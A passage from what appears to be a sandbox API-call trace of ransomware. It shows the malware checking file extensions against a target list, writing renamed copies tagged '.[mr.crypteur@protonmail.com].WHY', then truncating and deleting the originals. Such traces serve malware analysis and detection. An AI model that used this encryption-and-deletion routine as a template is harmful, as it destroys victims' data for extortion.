lpString2=".xsl") returned -1 [0232.423] lstrlenW (lpString=".7z") returned 3 [0232.423] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0232.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0232.423] lstrlenW (lpString=".dbf") returned 4 [0232.424] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0232.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0232.424] lstrlenW (lpString=".1cd") returned 4 [0232.424] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0232.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0232.424] lstrlenW (lpString=".jpg") returned 4 [0232.424] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0232.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0232.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0232.424] lstrlenW (lpString=".doc") returned 4 [0232.424] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0232.424] lstrlenW (lpString=".docx") returned 5 [0232.424] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0232.425] lstrlenW (lpString=".pdf") returned 4 [0232.425] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0232.425] lstrlenW (lpString=".xls") returned 4 [0232.425] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0232.425] lstrlenW (lpString=".xlsx") returned 5 [0232.425] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0232.425] lstrlenW (lpString=".ppt") returned 4 [0232.425] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0232.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0232.425] lstrlenW (lpString=".zip") returned 4 [0232.425] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0232.425] lstrlenW (lpString=".rar") returned 4 [0232.425] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0232.426] lstrlenW (lpString=".bz2") returned 4 [0232.426] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0232.426] lstrlenW (lpString=".7z") returned 3 [0232.426] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0232.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0232.426] lstrlenW (lpString=".dbf") returned 4 [0232.426] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0232.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0232.426] lstrlenW (lpString=".1cd") returned 4 [0232.426] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0232.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0232.426] lstrlenW (lpString=".jpg") returned 4 [0232.426] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0232.484] lstrcmpiW (lpString1=".xsl", lpString2=".WHY") returned 1 [0232.484] lstrlenW (lpString="Sybase.xsl") returned 10 [0232.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0232.485] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=29790) returned 1 [0232.485] CloseHandle (hObject=0x38c) returned 1 [0232.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl")) returned 0x20 [0232.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0232.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0232.486] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.486] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0232.487] GetLastError () returned 0x0 [0232.487] ReadFile (in: hFile=0x38c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x745e, lpOverlapped=0x0) returned 1 [0232.537] WriteFile (in: hFile=0x37c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0x7460, lpOverlapped=0x0) returned 1 [0232.541] ReadFile (in: hFile=0x38c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x0, lpOverlapped=0x0) returned 1 [0232.541] WriteFile (in: hFile=0x37c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0232.542] SetEndOfFile (hFile=0x37c) returned 1 [0232.542] CloseHandle (hObject=0x37c) returned 1 [0232.544] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.544] SetEndOfFile (hFile=0x38c) returned 1 [0232.554] CloseHandle (hObject=0x38c) returned 1 [0232.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0232.741] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl")) returned 1 [0232.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0232.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0232.742] lstrlenW (lpString=".doc") returned 4 [0232.742] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0232.742] lstrlenW (lpString=".docx") returned 5 [0232.742] lstrcmpiW (lpString1=".docx", lpString2="e.xsl") returned -1 [0232.742] lstrlenW (lpString=".pdf") returned 4 [0232.742] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0232.742] lstrlenW (lpString=".xls") returned 4 [0232.742] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0232.742] lstrlenW (lpString=".xlsx") returned 5 [0232.742] lstrcmpiW (lpString1=".xlsx", lpString2="e.xsl") returned -1 [0232.742] lstrlenW (lpString=".ppt") returned 4 [0232.742] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0232.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0232.743] lstrlenW (lpString=".zip") returned 4 [0232.743] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0232.743] lstrlenW (lpString=".rar") returned 4 [0232.743] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0232.743] lstrlenW (lpString=".bz2") returned 4 [0232.743] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0232.743] lstrlenW (lpString=".7z") returned 3 [0232.743] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0232.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0232.743] lstrlenW (lpString=".dbf") returned 4 [0232.743] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0232.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0232.744] lstrlenW (lpString=".1cd") returned 4 [0232.744] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0232.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0232.744] lstrlenW (lpString=".jpg") returned 4 [0232.744] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0232.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0232.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0232.744] lstrlenW (lpString=".doc") returned 4 [0232.744] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0232.744] lstrlenW (lpString=".docx") returned 5 [0232.744] lstrcmpiW (lpString1=".docx", lpString2="e.xsl") returned -1 [0232.744] lstrlenW (lpString=".pdf") returned 4 [0232.745] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0232.745] lstrlenW (lpString=".xls") returned 4 [0232.745] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0232.745] lstrlenW (lpString=".xlsx") returned 5 [0232.745] lstrcmpiW (lpString1=".xlsx", lpString2="e.xsl") returned -1 [0232.745] lstrlenW (lpString=".ppt") returned 4 [0232.745] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0232.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0232.745] lstrlenW (lpString=".zip") returned 4 [0232.745] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0232.745] lstrlenW (lpString=".rar") returned 4 [0232.745] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0232.745] lstrlenW (lpString=".bz2") returned 4 [0232.745] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0232.746] lstrlenW (lpString=".7z") returned 3 [0232.746] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0232.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0232.746] lstrlenW (lpString=".dbf") returned 4 [0232.747] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0232.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0232.747] lstrlenW (lpString=".1cd") returned 4 [0232.747] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0232.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0232.747] lstrlenW (lpString=".jpg") returned 4 [0232.747] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0232.747] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0232.748] lstrlenW (lpString="AG00011_.GIF") returned 12 [0232.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0232.829] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=7216) returned 1 [0232.829] CloseHandle (hObject=0x320) returned 1 [0232.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif")) returned 0x20 [0232.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0232.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0232.979] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.980] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0232.981] GetLastError () returned 0x0 [0232.981] ReadFile (in: hFile=0x258, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x1c30, lpOverlapped=0x0) returned 1 [0232.998] WriteFile (in: hFile=0x394, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0x1c40, lpOverlapped=0x0) returned 1 [0233.001] ReadFile (in: hFile=0x258, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x0, lpOverlapped=0x0) returned 1 [0233.001] WriteFile (in: hFile=0x394, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xec, lpOverlapped=0x0) returned 1 [0233.001] SetEndOfFile (hFile=0x394) returned 1 [0233.007] CloseHandle (hObject=0x394) returned 1 [0233.021] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.021] SetEndOfFile (hFile=0x258) returned 1 [0233.104] CloseHandle (hObject=0x258) returned 1 [0233.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0233.105] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif")) returned 1 [0233.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0233.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0233.106] lstrlenW (lpString=".doc") returned 4 [0233.106] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0233.106] lstrlenW (lpString=".docx") returned 5 [0233.106] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0233.106] lstrlenW (lpString=".pdf") returned 4 [0233.106] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0233.106] lstrlenW (lpString=".xls") returned 4 [0233.107] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0233.107] lstrlenW (lpString=".xlsx") returned 5 [0233.107] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0233.107] lstrlenW (lpString=".ppt") returned 4 [0233.107] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0233.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0233.107] lstrlenW (lpString=".zip") returned 4 [0233.107] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0233.107] lstrlenW (lpString=".rar") returned 4 [0233.107] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0233.107] lstrlenW (lpString=".bz2") returned 4 [0233.107] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0233.107] lstrlenW (lpString=".7z") returned 3 [0233.107] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0233.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0233.108] lstrlenW (lpString=".dbf") returned 4 [0233.108] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0233.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0233.108] lstrlenW (lpString=".1cd") returned 4 [0233.108] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0233.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0233.108] lstrlenW (lpString=".jpg") returned 4 [0233.108] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0233.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0233.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0233.108] lstrlenW (lpString=".doc") returned 4 [0233.108] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0233.109] lstrlenW (lpString=".docx") returned 5 [0233.109] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0233.109] lstrlenW (lpString=".pdf") returned 4 [0233.109] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0233.109] lstrlenW (lpString=".xls") returned 4 [0233.109] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0233.109] lstrlenW (lpString=".xlsx") returned 5 [0233.109] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0233.109] lstrlenW (lpString=".ppt") returned 4 [0233.109] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0233.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0233.109] lstrlenW (lpString=".zip") returned 4 [0233.109] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0233.109] lstrlenW (lpString=".rar") returned 4 [0233.109] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0233.110] lstrlenW (lpString=".bz2") returned 4 [0233.110] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0233.110] lstrlenW (lpString=".7z") returned 3 [0233.110] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0233.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0233.110] lstrlenW (lpString=".dbf") returned 4 [0233.110] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0233.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0233.110] lstrlenW (lpString=".1cd") returned 4 [0233.110] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0233.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0233.110] lstrlenW (lpString=".jpg") returned 4 [0233.110] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0233.231] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0233.231] lstrlenW (lpString="AG00040_.GIF") returned 12 [0233.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0233.237] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=8097) returned 1 [0233.237] CloseHandle (hObject=0x290) returned 1 [0233.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 0x20 [0233.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0233.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0233.240] SetFilePointerEx (in: hFile=0x290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.241] SetFilePointerEx (in: hFile=0x290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0233.243] GetLastError () returned 0x0 [0233.243] ReadFile (in: hFile=0x290, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x1fa1, lpOverlapped=0x0) returned 1 [0233.248] WriteFile (in: hFile=0x320, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0x1fb0, lpOverlapped=0x0) returned 1 [0233.251] ReadFile (in: hFile=0x290, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x0, lpOverlapped=0x0) returned 1 [0233.251] WriteFile (in: hFile=0x320, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xec, lpOverlapped=0x0) returned 1 [0233.252] SetEndOfFile (hFile=0x320) returned 1 [0233.252] CloseHandle (hObject=0x320) returned 1 [0233.254] SetFilePointerEx (in: hFile=0x290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.254] SetEndOfFile (hFile=0x290) returned 1 [0233.260] CloseHandle (hObject=0x290) returned 1 [0233.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0233.262] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 1 [0233.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0233.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0233.263] lstrlenW (lpString=".doc") returned 4 [0233.263] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0233.263] lstrlenW (lpString=".docx") returned 5 [0233.263] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0233.263] lstrlenW (lpString=".pdf") returned 4 [0233.263] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0233.263] lstrlenW (lpString=".xls") returned 4 [0233.263] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0233.263] lstrlenW (lpString=".xlsx") returned 5 [0233.263] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0233.263] lstrlenW (lpString=".ppt") returned 4 [0233.263] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0233.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0233.264] lstrlenW (lpString=".zip") returned 4 [0233.264] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0233.264] lstrlenW (lpString=".rar") returned 4 [0233.264] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0233.264] lstrlenW (lpString=".bz2") returned 4 [0233.264] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0233.264] lstrlenW (lpString=".7z") returned 3 [0233.264] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0233.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0233.264] lstrlenW (lpString=".dbf") returned 4 [0233.264] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0233.264] lstrlenW (lpString="C:\\Program Files\\Microsoft 